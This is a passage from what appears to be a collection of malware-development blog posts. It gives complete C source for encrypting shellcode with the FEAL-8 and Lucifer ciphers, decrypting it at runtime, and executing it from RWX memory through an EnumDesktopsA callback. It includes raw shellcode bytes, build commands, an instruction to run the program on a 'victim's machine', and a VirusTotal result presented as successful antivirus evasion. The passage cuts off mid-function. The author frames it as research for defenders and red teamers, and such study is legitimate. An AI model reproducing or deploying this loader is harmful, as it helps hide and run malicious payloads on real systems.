// function to decrypt shellcode using FEAL-8


void feal8_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // Generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
feal8_decrypt(ptr, key);
ptr += 2;
}
// handle remaining bytes with padding
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
memcpy(pad, ptr, remaining);
feal8_decrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}
First function is responsible for encrypting the provided shellcode (meow-meow mes-
sagebox in our case) using FEAL-8 encryption. It processes the shellcode in 64-bit
blocks (8-bytes), and if there are any remaining bytes that do not fit into a full block,
it pads them with 0x90 (NOP) before encrypting.
Finally, main function demonstrates encrypting, decrypting, and executing shellcode
using FEAL-8.
As usually I used meow-meow messagebox payload:
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"

876
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";
and the decrypted payload is executed using the EnumDesktopsA function.
The full source code is looks like this (hack.c):
/*
* hack.c
* encrypt/decrypt payload via FEAL-8 algorithm
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/09/12/malware-cryptography-32.html
*/

#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROUNDS 8 // FEAL-8 uses 8 rounds of encryption


#define BLOCK_SIZE 8 // FEAL-8 operates on 64-bit (8-byte) blocks

// subkeys generated from the main key


uint8_t K[ROUNDS][8];

// rotate left 1 bit


uint32_t rotl(uint32_t x, int shift) {
return (x << shift) | (x >> (32 - shift));

877
}

// function F used in FEAL-8


uint32_t F(uint32_t x1, uint32_t x2) {
return rotl((x1 ^ x2), 2);
}

// function G used in FEAL-8


void G(uint32_t* left, uint32_t* right, uint8_t* roundKey) {
uint32_t tempLeft = *left;
*left = *right;
*right = tempLeft ^ F(*left, *right) ^ *(uint32_t*)roundKey;
}

// key schedule for FEAL-8


void key_schedule(uint8_t* key) {
for (int i = 0; i < ROUNDS; i++) {
for (int j = 0; j < 8; j++) {
K[i][j] = key[j] ^ (i + j);
}
}
}

// FEAL-8 encryption function


void feal8_encrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of encryption


for (int i = 0; i < ROUNDS; i++) {
G(&left, &right, K[i]);
}

// final swapping of left and right


block[0] = right;
block[1] = left;
}

// FEAL-8 decryption function


void feal8_decrypt(uint32_t* block, uint8_t* key) {
uint32_t left = block[0], right = block[1];

// perform 8 rounds of decryption in reverse


for (int i = ROUNDS - 1; i >= 0; i--) {
G(&left, &right, K[i]);
}

878
// final swapping of left and right
block[0] = right;
block[1] = left;
}

// function to encrypt shellcode using FEAL-8


void feal8_encrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // Generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
feal8_encrypt(ptr, key);
ptr += 2;
}
// handle remaining bytes by padding with 0x90 (NOP)
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
memcpy(pad, ptr, remaining);
feal8_encrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}

// function to decrypt shellcode using FEAL-8


void feal8_decrypt_shellcode(unsigned char* shellcode, int shellcode_len,
uint8_t* key) {
key_schedule(key); // Generate subkeys
int i;
uint32_t* ptr = (uint32_t*)shellcode;
for (i = 0; i < shellcode_len / BLOCK_SIZE; i++) {
feal8_decrypt(ptr, key);
ptr += 2;
}
// handle remaining bytes with padding
int remaining = shellcode_len % BLOCK_SIZE;
if (remaining != 0) {
unsigned char pad[BLOCK_SIZE] =
{ 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 };
memcpy(pad, ptr, remaining);
feal8_decrypt((uint32_t*)pad, key);
memcpy(ptr, pad, remaining);
}
}

879
int main() {
unsigned char my_payload[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x49\xc7"
"\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x1a\x01\x00\x00\x3e"
"\x4c\x8d\x85\x25\x01\x00\x00\x48\x31\xc9\x41\xba\x45\x83"
"\x56\x07\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x4d\x65\x6f\x77\x2d\x6d\x65\x6f\x77\x21\x00\x3d\x5e"
"\x2e\x2e\x5e\x3d\x00";

int my_payload_len = sizeof(my_payload);


int pad_len = my_payload_len + (BLOCK_SIZE - my_payload_len % BLOCK_SIZE) %
BLOCK_SIZE;
unsigned char padded[pad_len];
memset(padded, 0x90, pad_len); // pad with NOPs
memcpy(padded, my_payload, my_payload_len);

printf("original shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", my_payload[i]);
}
printf("\n\n");

uint8_t key[8] = { 0x12, 0x34, 0x56, 0x78, 0x9A, 0xBC, 0xDE, 0xF0 };

feal8_encrypt_shellcode(padded, pad_len, key);

printf("encrypted shellcode:\n");
for (int i = 0; i < pad_len; i++) {

880
printf("%02x ", padded[i]);
}
printf("\n\n");

feal8_decrypt_shellcode(padded, pad_len, key);

printf("decrypted shellcode:\n");
for (int i = 0; i < my_payload_len; i++) {
printf("%02x ", padded[i]);
}
printf("\n\n");

// allocate and execute decrypted shellcode


LPVOID mem = VirtualAlloc(NULL, my_payload_len, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, padded, my_payload_len);
EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);

return 0;
}
So, this example demonstrates how to use the FEAL-8 encryption algorithm to encrypt
and decrypt payload. For checking correctness, added printing logic.

demo
Let’s go to see everything in action. Compile it (in my linux machine):
x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe \
-I/usr/share/mingw-w64/include/ -s -ffunction-sections \
-fdata-sections -Wno-write-strings \
-fno-exceptions -fmerge-all-constants \
-static-libstdc++ -static-libgcc

Then, just run it in the victim’s machine (windows 11 x64 in my case):


.\hack.exe

881
As you can see, everything is worked perfectly! =.. =
Calculating Shannon entropy:
python3 entropy.py -f hack.exe

Our payload in the .text section.


Let’s go to upload this hack.exe to VirusTotal:

882
https://www.virustotal.com/gui/file/08a7fba2d86f2ca8b9431695f8b530be7ad546e3
f7467978bd6ff003b7f9508c/detection
As you can see, only 25 of 74 AV engines detect our file as malicious.

cryptoanalysis
Historically, FEAL-4, a four-round FEAL, was successfully cryptanalyzed using a chosen-
plaintext attack before being demolished. Sean Murphy’s later approach was the first
known differential-cryptanalysis attack, requiring only 20 chosen plaintexts. The de-
signers responded with an 8-round FEAL, which Biham and Shamir cryptanalyzed at
the SECURICOM '89 conference (A. Shamir and A. Fiat, “Method, Apparatus and Article
for Identification and Signature,” U.S. Patent #4,748,668, 31 May 1988). Another chosen-
plaintext attack against FEAL-8 (H. Gilbert and G. Chase, “A Statistical Attack on the Feal–
8 Cryptosystem,” Advances in Cryptology—CRYPTO’90 Proceedings, Springer–Verlag, 1991,
pp. 22–33), utilizing just 10,000 blocks, caused the creators to give up and define
FEAL-N, with a variable number of rounds (of course more than 8).
Biham and Shamir used differential cryptanalysis to break FEAL-N faster than brute
force (with 2^64 selected plaintext encryptions) for N < 32. FEAL-16 needed 2^28
chosen plaintexts or 2^46.5 known plaintexts to break. FEAL-8 needed 2000 chosen
plaintexts or 2^37.5 known plaintexts to break. FEAL-4 could be cracked with only
eight carefully chosen plaintexts.
I hope this post is useful for malware researchers, C/C++ programmers, spreads aware-
ness to the blue teamers of this interesting encrypting technique, and adds a weapon to
the red teamers arsenal.
FEAL-8 encryption
Malware and cryptography 1
source code in github

883
96. malware and cryptography research - part 5 (33): encrypt pay-
load via Lucifer algorithm. Simple C example.

Hello, cybersecurity enthusiasts and white hackers!

This post is the result of my own research on using Lucifer block cipher on malware
development. As usual, exploring various crypto algorithms, I decided to check what
would happen if we apply this to encrypt/decrypt the payload.

Feistel networks
At the request of my readers, I would like to remind you what the Feistel network is.
This is a very important concept that plays a vital role in modern cryptography and
encryption systems.
The Feistel network is a block encryption technique created by Horst Feistel at IBM
Labs in 1971.
The Feistel network is a block cipher structure that processes data by splitting each
block into two equal parts: the left (𝐿) and right (𝑅) subblocks. The left subblock is
transformed using a function:
𝑥 = 𝑓(𝐿, 𝐾)
where 𝐾 represents the key. This function can be any cryptographic operation, such as
a shift cipher.
The transformed left subblock is then XORed with the unchanged right subblock: 𝑥 =
𝑥 ⊕ 𝑅.
After this, the left and right subblocks are swapped, and the process repeats for multiple
rounds.
So the final output is the encrypted data.

884
Lucifer
Lucifer is one of the earliest block ciphers, created in the 1970s by Horst Feistel at IBM.
It is a symmetric-key cipher that functions on 128-bit blocks and utilizes a Feistel net-
work, which served as the basis for the more prominent Data Encryption Standard
(DES).
In Lucifer encryption, the plaintext is bifurcated into two segments, with one segment un-
dergoing transformation and the resultant output being XORed with the other segment.
This procedure is reiterated across several iterations employing S-boxes, permutations,
and key schedules to guarantee security.
Lucifer’s S-boxes accept 4-bit inputs and produce 4-bit outputs; the input for the
S-boxes is derived from the bit-permuted output of the S-boxes from the preceding
round, whereas the input for the S-boxes in the initial round is the plaintext. A crucial
bit is utilized to select the specific S-box from two available options. Lucifer is depicted
as a singular T-box with 9 input bits and 8 output bits. In contrast to DES, there is
no interchange between rounds, and no block halves are utilized. Lucifer employs 16
rounds, utilizes 128-bit blocks, and features a key schedule that is less complex than
that of DES.

practical example 1
Let’s implement it in practice. First of all we need to define auxiliary functions, constants,
and macros:
#define block_size 16 // 128 bit
#define key_size 16 // 128 bit

static const unsigned char s0[16] = {


0x0C, 0x0F, 0x07, 0x0A, 0x0E, 0x0D, 0x0B, 0x00,
0x02, 0x06, 0x03, 0x01, 0x09, 0x04, 0x05, 0x08
};

static const unsigned char s1[16] = {


0x07, 0x02, 0x0E, 0x09, 0x03, 0x0B, 0x00, 0x04,
0x0C, 0x0D, 0x01, 0x0A, 0x06, 0x0F, 0x08, 0x05
};

static const unsigned char m1[8] = {


0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02, 0x01
};

static const unsigned char m2[8] = {


0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0xFE
};

// macro to perform bitwise shifts

885
#define shift_left(x, n) ((x) << (n))
#define shift_right(x, n) ((unsigned char)(x) >> (n))

// extract high and low nibbles


#define highsubbyte(x) shift_right((x), 4)
#define lowsubbyte(x) ((x) & 0x0F)

// swap function for char types


void swap(char* arg1, char* arg2) {
char tmp = *arg1;
*arg1 = *arg2;
*arg2 = tmp;
}
Then we need main encryption function.
Let me show a step-by-step explanation of our Lucifer encryption function.
The function takes a 128-bit block (16 bytes) and a key as inputs. The block is
divided into two equal halves: the lower_half (first 8 bytes) and the upper_half
(last 8 bytes):
char* lower_half = block;
char* upper_half = block + block_size / 2;
If decrypting, the initial key byte index is set to 8, otherwise, it starts at 0. A total of 16
rounds are performed during encryption or decryption:
int key_byte_idx = decrypt ? 8 : 0;
const int round_count = 16;
We start a loop for 16 rounds of transformations. If decrypting, the key index is
incremented by 1 after each round and looped back (using modulus) after reaching 16:
for (int round = 0; round < round_count; ++round) {
if (decrypt) {
key_byte_idx = (key_byte_idx + 1) % round_count;
}
In each round, we process 8 steps (one for each byte in the upper_half). Here,
message_byte is the byte from upper_half that we are processing in this step:
for (int step = 0; step < 8; ++step) {
char message_byte = upper_half[step];
This block applies the confusion step. Based on the key byte and step, we decide whether
to use s0 or s1 substitution boxes to modify the message_byte. This is similar to what
happens in Feistel networks with S-boxes:
if (key[transform_control_byte_idx] & m1[step_count - step - 1]) {
message_byte = shift_left(s1[highsubbyte(message_byte)], 4) | s0[lowsubbyte
(message_byte)];

886
} else {
message_byte = shift_left(s0[highsubbyte(message_byte)], 4) | s1[lowsubbyte
(message_byte)];
}
Then the key interruption logic:
message_byte ^= key[key_byte_idx];
Here, the transformed byte is XORed with the key byte. This introduces additional
complexity to the encryption and ensures that each byte of the message is influenced by
the key.
The next step is the permutation step where bits in message_byte are shifted left or
right based on predefined masks (m1). This step scrambles the bits to further spread
the influence of each bit across the whole byte:
message_byte = (shift_right(message_byte & m1[0], 3)) |
(shift_right(message_byte & m1[1], 4)) |
(shift_left(message_byte & m1[2], 2)) |
(shift_right(message_byte & m1[3], 1)) |
(shift_left(message_byte & m1[4], 2)) |
(shift_left(message_byte & m1[5], 4)) |
(shift_right(message_byte & m1[6], 1)) |
(shift_left(message_byte & m1[7], 1));
The resulting message_byte is XORed with various bits of lower_half. This diffuses
the changes across the lower_half, ensuring that both halves of the block influence
each other as the rounds progress:
lower_half[(7 + step) % step_count] =
((message_byte ^ lower_half[(7 + step) % step_count]) &
m1[0]) | (lower_half[(7 + step) % step_count] & m2[0]);
// repeat similar logic for other bits...
Then, we increment the key_byte_idx to ensure that a different key byte is used for
the next step. If we are not decrypting, this happens for all steps except the last one:
if (step < step_count - 1 || decrypt) {
key_byte_idx = (key_byte_idx + 1) % round_count;
}
At the end of each round, the lower_half and upper_half are swapped. This is a key
part of the Feistel network design, ensuring that both halves of the block are processed
in the next round:
for (int i = 0; i < block_size / 2; ++i) {
swap(&lower_half[i], &upper_half[i]);
}
After all rounds are completed, the halves are swapped again to finish the encryption
process. This ensures the final encrypted block follows the Feistel design:

887
for (int i = 0; i < block_size / 2; ++i) {
swap(&block[i], &block[i + block_size / 2]);
}
Full source code of this function is looks like:
void Lucifer(char block[block_size], char key[key_size], bool decrypt) {
char* lower_half = block;
char* upper_half = block + block_size / 2;

int key_byte_idx = decrypt ? 8 : 0;


const int round_count = 16;

for (int round = 0; round < round_count; ++round) {


if (decrypt) {
key_byte_idx = (key_byte_idx + 1) % round_count;
}

int transform_control_byte_idx = key_byte_idx;


const int step_count = 8;

for (int step = 0; step < step_count; ++step) {


char message_byte = upper_half[step];

// confusion
if (key[transform_control_byte_idx] & m1[step_count - step - 1]) {
message_byte = shift_left(s1[highsubbyte(message_byte)], 4) | s0
[lowsubbyte(message_byte)];
} else {
message_byte = shift_left(s0[highsubbyte(message_byte)], 4) | s1
[lowsubbyte(message_byte)];
}

// key interruption
message_byte ^= key[key_byte_idx];

// permutation
message_byte = (shift_right(message_byte & m1[0], 3)) |
(shift_right(message_byte & m1[1], 4)) |
(shift_left(message_byte & m1[2], 2)) |
(shift_right(message_byte & m1[3], 1)) |
(shift_left(message_byte & m1[4], 2)) |
(shift_left(message_byte & m1[5], 4)) |
(shift_right(message_byte & m1[6], 1)) |
(shift_left(message_byte & m1[7], 1));

// diffusion

888
lower_half[(7 + step) % step_count] = ((message_byte ^ lower_half[(7 +
step) % step_count]) & m1[0]) | (lower_half[(7 + step) % step_count] &
m2[0]);
lower_half[(6 + step) % step_count] = ((message_byte ^ lower_half[(6 +
step) % step_count]) & m1[1]) | (lower_half[(6 + step) % step_count] &
m2[1]);
lower_half[(2 + step) % step_count] = ((message_byte ^ lower_half[(2 +
step) % step_count]) & m1[2]) | (lower_half[(2 + step) % step_count] &
m2[2]);
lower_half[(1 + step) % step_count] = ((message_byte ^ lower_half[(1 +
step) % step_count]) & m1[3]) | (lower_half[(1 + step) % step_count] &
m2[3]);
lower_half[(5 + step) % step_count] = ((message_byte ^ lower_half[(5 +
step) % step_count]) & m1[4]) | (lower_half[(5 + step) % step_count] &
m2[4]);
lower_half[(0 + step) % step_count] = ((message_byte ^ lower_half[(0 +
step) % step_count]) & m1[5]) | (lower_half[(0 + step) % step_count] &
m2[5]);
lower_half[(3 + step) % step_count] = ((message_byte ^ lower_half[(3 +
step) % step_count]) & m1[6]) | (lower_half[(3 + step) % step_count] &
m2[6]);
lower_half[(4 + step) % step_count] = ((message_byte ^ lower_half[(4 +
step) % step_count]) & m1[7]) | (lower_half[(4 + step) % step_count] &
m2[7]);

if (step < step_count - 1 || decrypt) {


key_byte_idx = (key_byte_idx + 1) % round_count;
}
}

// swap halves
for (int i = 0; i < block_size / 2; ++i) {
swap(&lower_half[i], &upper_half[i]);
}
}

// physically swap halves


for (int i = 0; i < block_size / 2; ++i) {
swap(&block[i], &block[i + block_size / 2]);
}
}
So, the function processes a 128-bit block using 16 rounds of confusion, diffusion,
and permutation.
Each round involves modifying bytes from the upper_half and diffusing changes to
the lower_half.

889
The key is used to control S-box substitution and XOR operations at every step.
The halves of the block are swapped after every round, following the Feistel network
design.
And finally, full source code of how we can encrypt plaintext block is looks like this
(hack.c):
/*
* hack.c
* Lucifer encryption example
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/10/20/malware-cryptography-33.html
*/
#include <stdio.h>
#include <stdbool.h>
#include <string.h>

#define block_size 16 // 128 bit


#define key_size 16 // 128 bit

static const unsigned char s0[16] = {


0x0C, 0x0F, 0x07, 0x0A, 0x0E, 0x0D, 0x0B, 0x00,
0x02, 0x06, 0x03, 0x01, 0x09, 0x04, 0x05, 0x08
};

static const unsigned char s1[16] = {


0x07, 0x02, 0x0E, 0x09, 0x03, 0x0B, 0x00, 0x04,
0x0C, 0x0D, 0x01, 0x0A, 0x06, 0x0F, 0x08, 0x05
};

static const unsigned char m1[8] = {


0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02, 0x01
};

static const unsigned char m2[8] = {


0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0xFE
};

// macro to perform bitwise shifts


#define shift_left(x, n) ((x) << (n))
#define shift_right(x, n) ((unsigned char)(x) >> (n))

// extract high and low nibbles


#define highsubbyte(x) shift_right((x), 4)
#define lowsubbyte(x) ((x) & 0x0F)

// swap function for char types

890
void swap(char* arg1, char* arg2) {
char tmp = *arg1;
*arg1 = *arg2;
*arg2 = tmp;
}

void Lucifer(char block[block_size], char key[key_size], bool decrypt) {


char* lower_half = block;
char* upper_half = block + block_size / 2;

int key_byte_idx = decrypt ? 8 : 0;


const int round_count = 16;

for (int round = 0; round < round_count; ++round) {


if (decrypt) {
key_byte_idx = (key_byte_idx + 1) % round_count;
}

int transform_control_byte_idx = key_byte_idx;


const int step_count = 8;

for (int step = 0; step < step_count; ++step) {


char message_byte = upper_half[step];

// confusion
if (key[transform_control_byte_idx] & m1[step_count - step - 1]) {
message_byte = shift_left(s1[highsubbyte(message_byte)], 4) | s0
[lowsubbyte(message_byte)];
} else {
message_byte = shift_left(s0[highsubbyte(message_byte)], 4) | s1
[lowsubbyte(message_byte)];
}

// key interruption
message_byte ^= key[key_byte_idx];

// permutation
message_byte = (shift_right(message_byte & m1[0], 3)) |
(shift_right(message_byte & m1[1], 4)) |
(shift_left(message_byte & m1[2], 2)) |
(shift_right(message_byte & m1[3], 1)) |
(shift_left(message_byte & m1[4], 2)) |
(shift_left(message_byte & m1[5], 4)) |
(shift_right(message_byte & m1[6], 1)) |
(shift_left(message_byte & m1[7], 1));

891
// diffusion
lower_half[(7 + step) % step_count] = ((message_byte ^ lower_half[(7 +
step) % step_count]) & m1[0]) | (lower_half[(7 + step) % step_count] &
m2[0]);
lower_half[(6 + step) % step_count] = ((message_byte ^ lower_half[(6 +
step) % step_count]) & m1[1]) | (lower_half[(6 + step) % step_count] &
m2[1]);
lower_half[(2 + step) % step_count] = ((message_byte ^ lower_half[(2 +
step) % step_count]) & m1[2]) | (lower_half[(2 + step) % step_count] &
m2[2]);
lower_half[(1 + step) % step_count] = ((message_byte ^ lower_half[(1 +
step) % step_count]) & m1[3]) | (lower_half[(1 + step) % step_count] &
m2[3]);
lower_half[(5 + step) % step_count] = ((message_byte ^ lower_half[(5 +
step) % step_count]) & m1[4]) | (lower_half[(5 + step) % step_count] &
m2[4]);
lower_half[(0 + step) % step_count] = ((message_byte ^ lower_half[(0 +
step) % step_count]) & m1[5]) | (lower_half[(0 + step) % step_count] &
m2[5]);
lower_half[(3 + step) % step_count] = ((message_byte ^ lower_half[(3 +
step) % step_count]) & m1[6]) | (lower_half[(3 + step) % step_count] &
m2[6]);
lower_half[(4 + step) % step_count] = ((message_byte ^ lower_half[(4 +
step) % step_count]) & m1[7]) | (lower_half[(4 + step) % step_count] &
m2[7]);

if (step < step_count - 1 || decrypt) {


key_byte_idx = (key_byte_idx + 1) % round_count;
}
}

// swap halves
for (int i = 0; i < block_size / 2; ++i) {
swap(&lower_half[i], &upper_half[i]);
}
}

// physically swap halves


for (int i = 0; i < block_size / 2; ++i) {
swap(&block[i], &block[i + block_size / 2]);
}
}

int main() {
char message[block_size + 1] = "meowmeowmeowmeow"; // 16 characters + null
// terminator

892
char key[key_size] = "abcdefghijklmnop"; // example 128-bit key

message[block_size] = '\0'; // add a null terminator at the end of the


// message

printf("original block: %s\n", message);

Lucifer(message, key, false); // encrypt


printf("encrypted block: ");
for (int i = 0; i < block_size; i++) {
printf("%02x ", (unsigned char)message[i]);
}
printf("\n");

Lucifer(message, key, true); // decrypt


printf("decrypted block: %s\n", message);

return 0;
}
As you can, see in the main function I just encrypted meowmeowmeowmeow message.

demo 1
Let’s see how this code works. Compile it for linux:
gcc hack.c -o hack

Then. run it:


./hack

893
As you can see, everything is worked perfectly in this case.

practical example 2
Let’s implement it with another logic: encrypt/decrypt payload and run it.
Source code for this is like in the first example, the only differences are two new func-
tions:
// payload encryption function
void lucifer_encrypt_payload(unsigned char* payload, int payload_len,
unsigned char* key) {
for (int i = 0; i < payload_len / block_size; i++) {
Lucifer((char*)(payload + i * block_size), (char*)key, false);
}
}

// payload decryption function


void lucifer_decrypt_payload(unsigned char* payload, int payload_len,
unsigned char* key) {
for (int i = 0; i < payload_len / block_size; i++) {
Lucifer((char*)(payload + i * block_size), (char*)key, true);
}
}
This version of the code correctly implements the Lucifer cipher using the function
from hack.c, while applying the encryption and decryption process to payload
blocks. The Lucifer function is integrated within lucifer_encrypt_payload and
lucifer_decrypt_payload, ensuring the correct encryption flow.
So the full source code is looks like this (hack2.c):
/*
* hack.c
* Lucifer payload encryption/decryption
* author: @cocomelonc
* https://cocomelonc.github.io/malware/2024/10/20/malware-cryptography-33.html
*/
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <windows.h>

#define block_size 16 // 128 bit


#define key_size 16 // 128 bit

static const unsigned char s0[16] = {


0x0C, 0x0F, 0x07, 0x0A, 0x0E, 0x0D, 0x0B, 0x00,

894
0x02, 0x06, 0x03, 0x01, 0x09, 0x04, 0x05, 0x08
};

static const unsigned char s1[16] = {


0x07, 0x02, 0x0E, 0x09, 0x03, 0x0B, 0x00, 0x04,
0x0C, 0x0D, 0x01, 0x0A, 0x06, 0x0F, 0x08, 0x05
};

static const unsigned char m1[8] = {


0x80, 0x40, 0x20, 0x10, 0x08, 0x04, 0x02, 0x01
};

static const unsigned char m2[8] = {


0x7F, 0xBF, 0xDF, 0xEF, 0xF7, 0xFB, 0xFD, 0xFE
};

#define shift_left(x, n) ((x) << (n))


#define shift_right(x, n) ((unsigned char)(x) >> (n))
#define highsubbyte(x) shift_right((x), 4)
#define lowsubbyte(x) ((x) & 0x0F)

void swap(char* arg1, char* arg2) {


char tmp = *arg1;
*arg1 = *arg2;
*arg2 = tmp;
}

void Lucifer(char block[block_size], char key[key_size], bool decrypt) {


char* lower_half = block;
char* upper_half = block + block_size / 2;

int key_byte_idx = decrypt ? 8 : 0;


const int round_count = 16;

for (int round = 0; round < round_count; ++round) {


if (decrypt) {
key_byte_idx = (key_byte_idx + 1) % round_count;
}

int transform_control_byte_idx = key_byte_idx;


const int step_count = 8;

for (int step = 0; step < step_count; ++step) {


char message_byte = upper_half[step];

// confusion

895
if (key[transform_control_byte_idx] & m1[step_count - step - 1]) {
message_byte = shift_left(s1[highsubbyte(message_byte)], 4) | s0
[lowsubbyte(message_byte)];
} else {
message_byte = shift_left(s0[highsubbyte(message_byte)], 4) | s1
[lowsubbyte(message_byte)];
}

// key interruption
message_byte ^= key[key_byte_idx];

// permutation
message_byte = (shift_right(message_byte & m1[0], 3)) |
(shift_right(message_byte & m1[1], 4)) |
(shift_left(message_byte & m1[2], 2)) |
(shift_right(message_byte & m1[3], 1)) |
(shift_left(message_byte & m1[4], 2)) |
(shift_left(message_byte & m1[5], 4)) |
(shift_right(message_byte & m1[6], 1)) |
(shift_left(message_byte & m1[7], 1));

// diffusion
lower_half[(7 + step) % step_count] = ((message_byte ^ lower_half[(7 +
step) % step_count]) & m1[0]) | (lower_half[(7 + step) % step_count] &
m2[0]);
lower_half[(6 + step) % step_count] = ((message_byte ^ lower_half[(6 +
step) % step_count]) & m1[1]) | (lower_half[(6 + step) % step_count] &
m2[1]);
lower_half[(2 + step) % step_count] = ((message_byte ^ lower_half[(2 +
step) % step_count]) & m1[2]) | (lower_half[(2 + step) % step_count] &
m2[2]);
lower_half[(1 + step) % step_count] = ((message_byte ^ lower_half[(1 +
step) % step_count]) & m1[3]) | (lower_half[(1 + step) % step_count] &
m2[3]);
lower_half[(5 + step) % step_count] = ((message_byte ^ lower_half[(5 +
step) % step_count]) & m1[4]) | (lower_half[(5 + step) % step_count] &
m2[4]);
lower_half[(0 + step) % step_count] = ((message_byte ^ lower_half[(0 +
step) % step_count]) & m1[5]) | (lower_half[(0 + step) % step_count] &
m2[5]);
lower_half[(3 + step) % step_count] = ((message_byte ^ lower_half[(3 +
step) % step_count]) & m1[6]) | (lower_half[(3 + step) % step_count] &
m2[6]);
lower_half[(4 + step) % step_count] = ((message_byte ^ lower_half[(4 +
step) % step_count]) & m1[7]) | (lower_half[(4 + step) % step_count] &
m2[7]);

896
if (step < step_count - 1 || decrypt) {
